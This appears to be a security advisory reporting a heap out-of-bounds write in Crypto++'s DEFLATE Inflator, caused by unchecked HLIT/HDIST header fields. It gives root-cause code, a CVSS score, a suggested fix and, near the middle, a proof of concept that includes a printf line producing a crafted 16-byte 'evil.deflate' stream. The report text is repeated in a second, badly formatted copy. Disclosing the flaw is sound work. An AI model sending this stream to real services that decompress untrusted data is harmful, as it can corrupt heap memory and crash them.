Summary
Crypto++'s Inflator (DEFLATE decoder) has a heap out-of-bounds write in
zinflate.cpp:457. The code-length table is sized 318
(FixedSizeSecBlock<unsigned int, 286+32> at zinflate.cpp:406) but the fill
loop bound (zinflate.cpp:421) uses raw 5-bit HLIT/HDIST fields (0..31,
never range-checked; RFC 1951 valid max 29). With HLIT=31, HDIST=31 the
bound is 320 and std::fill(codeLengths + i, codeLengths + i + count, repeater) writes codeLengths[318] and [319] -- two words past the buffer.
malloc_usable_size confirms the 1272-byte allocation is exactly sized, so
the 8 bytes land in the next heap chunk's header region (heap-metadata
corruption -> crash/DoS; values written are attacker-controlled 0-15).
CWE-787 (heap OOB write). CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5
(High if the embedding service inflates untrusted data; Medium otherwise).
Affected version
Crypto++ 8.9.0 and current master (zinflate.cpp:406/421/457).
Root cause
zinflate.cpp, Inflator::DecodeHeader():
FixedSizeSecBlock<unsigned int, 286+32> codeLengths; // 318 elements
...
unsigned int hlit = m_reader.GetBits(5); // 0..31, NOT range-checked
unsigned int hdist = m_reader.GetBits(5); // 0..31, NOT range-checked
...
for (i=0; i < hlit+257+hdist+1; ) // up to 320
{
...
std::fill(codeLengths + i, codeLengths + i + count, repeater); // line 457
i += count;
}
RFC 1951 valid max is HLIT <= 29 / HDIST <= 29 (286+30=316 entries); the
array is 318; the loop allows 320. The guard at line 455 only checks against
the attacker-chosen cap (i + count > hlit+257+hdist+1), never against the
buffer size 318. (zlib sizes this table lens[320] precisely because the
5-bit fields are unchecked.)
PoC (attachment)
See attached gist: https://gist.github.com/afldl/a7fc72e73fc80878333e803bcdb94562
| File |
Purpose |
probe.cpp |
Minimal driver: feeds the evil stream into CryptoPP::Inflator |
repro.sh |
Instrumented build + run (prints each fill range) |
evil.deflate |
16-byte zlib stream (recreate via printf, see README) |
output.txt |
Real run output: fill reaches [276,319) - index 318 is OOB |
README.md |
Full reproduction + suggested fix |
Reproduction:
git clone https://github.com/weidai11/cryptopp.git
cd cryptopp && make -j$(nproc)
printf '\xfd\xff\x81\x08\x00\x00\x00\x00\x20\xf8\xfb\x03\x01\x00\x00' > evil.deflate
# run probe.cpp (include path: cryptopp source)
Expected output (real, instrumented):
codeLengths = FixedSizeSecBlock<unsigned int, 286+32> = 318 elements [0..317]
[fill] i=0 count=138 -> [0,138)
[fill] i=138 count=138 -> [138,276)
[fill] i=276 count=43 -> [276,319)
The fill [276,319) writes codeLengths[318] -- past the 318-element buffer.
malloc_usable_size of the 1272-byte allocation returns exactly 1272, so
bytes 1272-1279 (index 318/319) land in the next heap chunk's header.
(ASAN does not flag this 8-byte overflow because glibc rounds the malloc up;
the source trace + malloc_usable_size establish the OOB independently.)
Suggested fix
Range-check HLIT/HDIST before the loop (reject > 29), or size the
array 320 like zlib does (lens[320]).
Credit
Reported by afldl, 2026-07.
Summary
Crypto++'s
Inflator(DEFLATE decoder) has a heap out-of-bounds write inzinflate.cpp:457. The code-length table is sized 318(
FixedSizeSecBlock<unsigned int, 286+32>at zinflate.cpp:406) but the fillloop bound (zinflate.cpp:421) uses raw 5-bit
HLIT/HDISTfields (0..31,never range-checked; RFC 1951 valid max 29). With
HLIT=31, HDIST=31thebound is 320 and
std::fill(codeLengths + i, codeLengths + i + count, repeater)writescodeLengths[318]and[319]-- two words past the buffer.malloc_usable_sizeconfirms the 1272-byte allocation is exactly sized, sothe 8 bytes land in the next heap chunk's header region (heap-metadata
corruption -> crash/DoS; values written are attacker-controlled 0-15).
CWE-787 (heap OOB write). CVSS 3.1:
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H= 7.5(High if the embedding service inflates untrusted data; Medium otherwise).
Affected version
Crypto++ 8.9.0 and current master (
zinflate.cpp:406/421/457).Root cause
zinflate.cpp,Inflator::DecodeHeader():RFC 1951 valid max is
HLIT <= 29/HDIST <= 29(286+30=316 entries); thearray is 318; the loop allows 320. The guard at line 455 only checks against
the attacker-chosen cap (
i + count > hlit+257+hdist+1), never against thebuffer size 318. (zlib sizes this table
lens[320]precisely because the5-bit fields are unchecked.)
PoC (attachment)
See attached gist: https://gist.github.com/afldl/a7fc72e73fc80878333e803bcdb94562
probe.cppCryptoPP::Inflatorrepro.shevil.deflateoutput.txtREADME.mdReproduction:
Expected output (real, instrumented):
The fill
[276,319)writescodeLengths[318]-- past the 318-element buffer.malloc_usable_sizeof the 1272-byte allocation returns exactly 1272, sobytes 1272-1279 (index 318/319) land in the next heap chunk's header.
(ASAN does not flag this 8-byte overflow because glibc rounds the malloc up;
the source trace + malloc_usable_size establish the OOB independently.)
Suggested fix
Range-check
HLIT/HDISTbefore the loop (reject> 29), or size thearray 320 like zlib does (
lens[320]).Credit
Reported by afldl, 2026-07.